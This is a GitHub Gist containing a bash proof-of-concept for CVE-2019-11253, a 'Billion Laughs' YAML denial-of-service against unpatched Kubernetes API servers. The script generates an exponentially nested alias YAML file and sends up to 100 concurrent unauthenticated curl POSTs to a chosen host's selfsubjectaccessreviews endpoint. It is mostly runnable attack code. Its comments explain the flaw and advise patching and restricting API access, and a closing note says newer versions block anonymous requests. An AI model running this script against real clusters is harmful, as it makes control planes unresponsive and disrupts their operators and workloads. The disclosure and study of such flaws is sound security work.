Last active
December 29, 2022 14:25
-
-
Save bgeesaman/0e0349e94cd22c48bf14d8a9b7d6b8f2 to your computer and use it in GitHub Desktop.
CVE-2019-11253 Kubernetes API Server YAML Parsing Remote Denial of Service PoC aka "Billion Laughs"
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
# CVE-2019-11253 | |
# https://github.com/kubernetes/kubernetes/issues/83253 | |
# Shout out: @raesene for poc collab, @iancoldwater + @mauilion for | |
# HONKing inspiration and other guidance. | |
# Description: In Kubernetes 1.13 and below, the default configuration | |
# is that system:anonymous can request a selfsubjectaccessreview | |
# via mechanisms such as "kubectl auth can-i". This request can | |
# include POSTed YAML, and just the act of trying to parse it causes | |
# excessive memory usage by the API server. Anywhere from about 10 | |
# to 100 concurrent requests of this nature can overwhelm the API | |
# server's resources and cause it to become unresponsive to the point | |
# that the worker nodes and user's running kubectl will believe the | |
# control plane is offline. Since requests can last up to 60s by | |
# default before the timeout kicks in, sustaining the attack only | |
# requires between 10 and ~100 requests per minute. | |
# Recommendation: Update Kubernetes to a release that includes YAML | |
# parsing resource limits and limit direct, public access to API | |
# servers. See the above GH issue for details. | |
# This will work for Kubernetes 1.13 and below if not patched without | |
# requiring auth. It can be modified to send valid authentication | |
# headers and then work against all non-patched versions. | |
APISERVER="${1:-localhost}" | |
CONCURRENT="${2:-100}" | |
YAML="yaml_dos.yml" | |
# The data here doesn't really have to be a valid SAR request since | |
# the API server is DoSed just trying to parse it. | |
if [ ! -f $YAML ]; then | |
cat > $YAML <<EOF | |
apiVersion: authorization.k8s.io/v1 | |
kind: SelfSubjectAccessReview | |
metadata: | |
name: yaml-dos | |
namespace: default | |
data: | |
a: &a ["HONK","HONK","HONK","HONK","HONK","HONK","HONK","HONK","HONK"] | |
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a] | |
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b] | |
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c] | |
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d] | |
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e] | |
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f] | |
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g] | |
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h] | |
j: &j [*i,*i,*i,*i,*i,*i,*i,*i,*i] | |
k: &k [*j,*j,*j,*j,*j,*j,*j,*j,*j] | |
l: &l [*l,*l,*l,*l,*l,*l,*l,*l,*l] | |
EOF | |
fi | |
echo "Sending billions of HONKs using a flock of ${CONCURRENT} flying geese to https://${APISERVER}..." | |
seq 1 ${CONCURRENT} | xargs -I{} -n 1 -P ${CONCURRENT} curl -sk -XPOST -H "Content-Type: application/yaml" --data-binary @"${YAML}" "https://${APISERVER}/apis/authorization.k8s.io/v1/selfsubjectaccessreviews" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Checking K8s 1.14.6 and showing it is not available due to RBAC permissions preventing it anonymously:
Kubernetes 1.14+ by default does not grant the ability to perform
SelfSubjectAccessReviews
and similar requests bysystem:anonymous
. Again, see the Kubernetes Issue for the RBAC changes.